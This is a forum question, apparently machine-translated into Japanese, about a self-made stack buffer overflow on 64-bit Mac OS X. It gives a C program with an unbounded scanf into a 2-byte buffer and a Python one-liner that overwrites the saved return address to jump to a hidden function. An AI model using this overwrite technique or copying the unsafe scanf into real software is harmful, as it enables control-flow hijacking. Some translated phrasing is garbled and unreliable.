私は教育目的のために、プログラムを別のアドレスに誘導するバッファオーバーフローを達成しようとしています。scanf(Mac OS X 10.6.5 64ビット)を使用した単純なバッファオーバーフロー
これは、c-プログラムです:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void secret1(void) {
puts("You found the secret function No. 1!\n");
}
int main() {
char string[2];
puts("Input: ");
scanf("%s", string);
printf("You entered %s.\n", string);
return 0;
}
私はsecret1のアドレスを見つけるために、GDBを使用し、同様のES RIPに私の文字列変数を相殺しました。私は、次のpython-エクスプロイトを作成し、この情報を使用して:
import struct
rip = 0x0000000100000e40
print("A"*24 + struct.pack("<q", rip))
これまでのところ、すべての作品 - プログラムはsecret1し、「セグメンテーションフォールト」でクラッシュしてジャンプします。私はこのように私のプログラムを拡張する場合
しかし、:
...
void secret1(void) {
puts("You found the secret function No. 1!\n");
}
void secret2(void) {
puts("You found the secret function No. 2!\n");
}
void secret3(void) {
puts("You found the secret function No. 3!\n");
}
...
を...それは、新たな偽のRIP(すなわち0x0000000100000d6c secret1ため、0x0000000100000d7eのための正しいさえカントー、任意の関数にジャンプなしセグメンテーションフォールト秘密2)。オフセットはgdbが私に言った限り同じままです(あるいはそうではありませんか?)。
私は、プログラムが "秘密の機能"を0x100000 dで終わるメモリ領域に配置するのに十分な大きさで動作していないことに気付きました。 - それはチャームのように機能します。 0x100000 e
32ビットモード(それに応じて変更されたアドレス)でコンパイルすると、複数のシークレット機能で動作しますが、64ビットモードでは動作しません。
-fno-stack-protector // doesn't make any difference.
誰でもこの奇妙な行動を私に説明できますか?大変ありがとう!